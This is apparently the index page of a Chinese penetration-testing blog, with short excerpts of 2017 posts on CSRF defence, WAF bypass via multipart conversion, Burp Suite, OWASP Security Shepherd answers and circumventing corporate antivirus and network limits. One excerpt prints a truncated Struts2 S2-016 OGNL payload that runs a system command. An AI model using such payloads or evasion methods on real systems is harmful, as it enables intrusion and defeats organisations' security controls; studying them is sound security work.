CSRF 跨站请求伪造 攻击与防御 — CSRF防御策略

CSRF 跨站请求伪造 攻击与防御 — CSRF防御策略
看过程能让你更了解如何的安全编码，看文中红字结果让你知道防范措施。 什么是CSRF 跨站请求伪造 CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。 那么CSRF到底能够干嘛呢？你可以这样简单的理解：攻击者可以盗用你的登陆信息，以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学...
2017年10月26日 学习笔记 暂无评论 喜欢 0 阅读 3,072 views 次 阅读全文

密码保护：Post、Get数据包转为上传multipart/form-data格式数据包php脚本

密码保护：Post、Get数据包转为上传multipart/form-data格式数据包php脚本
Post、Get数据包转为上传multipart/form-data格式数据包php脚本 说一下写这个工具的初衷吧。有很多时候某些程序接收参数的方式都是通用的，那咱们就可以利用这种方式来绕过WAF等验证来进行攻击。 只需要转换一下格式即可。 在线转换地址：https://woj.app/multipart.php Burp Post、Get数据包在线转换工具 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24...
2017年10月24日 学习笔记 要查看留言请输入您的密码。 喜欢 2 阅读 3,780 views 次 阅读全文

密码保护：SN — 另类执行Struts2命令 及 SQL注入

密码保护：SN — 另类执行Struts2命令 及 SQL注入
先说一下Struts2 2013 S2-016的测试payload代码是如下的。 GET /xxxxxxx/rf/userAction!login.action?redirect:$%7B%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27whoami%27%7D%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%...
2017年10月23日 学习笔记 要查看留言请输入您的密码。 喜欢 0 阅读 3,128 views 次 阅读全文

JSONP 跨域请求数据代码(跨域请求数据包)

JSONP 跨域请求数据代码(跨域请求数据包)
同事非想看，没办法弄一段代码给对方展示JSONP跨域请求，只要把下面的代码保存到本地，然后打开就可以获取到JSONP的信息。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN&qu...
2017年10月17日 学习笔记 暂无评论 喜欢 0 阅读 2,754 views 次 阅读全文

密码保护：域名对应负责人查询系统 php查询脚本

密码保护：域名对应负责人查询系统 php查询脚本
唉，本来工作可以简单，但是就因为都不想干导致很多地方难做，没办法为了自己工作省事，把两步或者三步需要解决的东西合并为一步即可解决。通过如下脚本喽。效果如下图： 域名对应负责人查询系统 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58...
2017年10月12日 学习笔记 要查看留言请输入您的密码。 喜欢 0 阅读 2,403 views 次 阅读全文

密码保护：关闭Symantec Endpoint Protection企业赛门铁克杀毒 还能保持联网

密码保护：关闭Symantec Endpoint Protection企业赛门铁克杀毒 还能保持联网
赛门铁克杀毒软件企业版 这里必须要啰嗦两句废话，因为我的博客有文章缩略提取，所以很多内容会被提取出来看到。 说说自己为什么会这么做吧，主要是本人的工作需要用到很多软件，而很多软件都是那种会被杀毒软件查杀的，但是公司还不给我们这个部门一些绿色通道。真的，服服的，没办法。。。唉。。 这个也是但是同事发现然后告诉我的。首先你需要有改动注册表的权限。 第一...
2017年09月27日 学习笔记 要查看留言请输入您的密码。 喜欢 3 阅读 4,048 views 次 阅读全文

Burp proxy error: unknown host (IP地址unknown host解决方法)

Burp proxy error: unknown host (IP地址unknown host解决方法)
昨天在使用Burp Suite的时候对一个https的网站抓包的时候，居然返回proxy error: unknown host，当时一脸懵逼，因为我所在的工作上网环境太T(变)M(太)的复杂了。而这么复杂的上网环境真心对渗透测试完全不利，很多很多事情超级费劲超级复杂，不过这个过程中也学会了很多东西。话多了。。。。。。。 解决方法： 修改host文件，把添加域名对应的IP地址。例如我的域名是xxx.xxx...
2017年09月16日 学习笔记 暂无评论 喜欢 3 阅读 11,354 views 次 阅读全文

OWASP Security Shepherd (Challenges 挑战) 答案(Answer) 题解

OWASP Security Shepherd (Challenges 挑战) 答案(Answer) 题解
OWASP Security Shepherd 相信你翻遍互联网也没找到答案吧，那恭喜你来对了，看到我这篇文章了，这里我尽可能把所有答案全部列举出来，供你参考使用呦。整个互联网，我给的答案是最全最准的没有之一。   如果你有哪道题想知道答案，这里没有，那你可以在下方留言，本人会尽力解答然后告诉你答案的呦。 XSS挑战题解 Cross Site Scripting：   跨站脚本 (XSS) 1 ---...
2017年09月07日 学习笔记 评论 36 条 喜欢 18 阅读 39,276 views 次 阅读全文

密码保护：手机利用带笔记本绕公司JK上网(一波多折)

密码保护：手机利用带笔记本绕公司JK上网(一波多折)
大致说一下现在的环境吧。某人单位网络有很大很大的限制，无法连接任何外部IP，上网只能通过代理服务器， 代理服务器IP：端口(8080)  的形式。而且很多网页都会被屏蔽。而且公司电脑限制颇多，所以很多东西比想的要复杂的很多很多。现在我用一个图片来简单说明一下我需要做的。 现实环境 + 理想环境 既然开始咱们就先实施吧。首先第一步，电脑端因为系统是win7 64位，所以需...
2017年09月01日 学习笔记 要查看留言请输入您的密码。 喜欢 4 阅读 2,491 views 次 阅读全文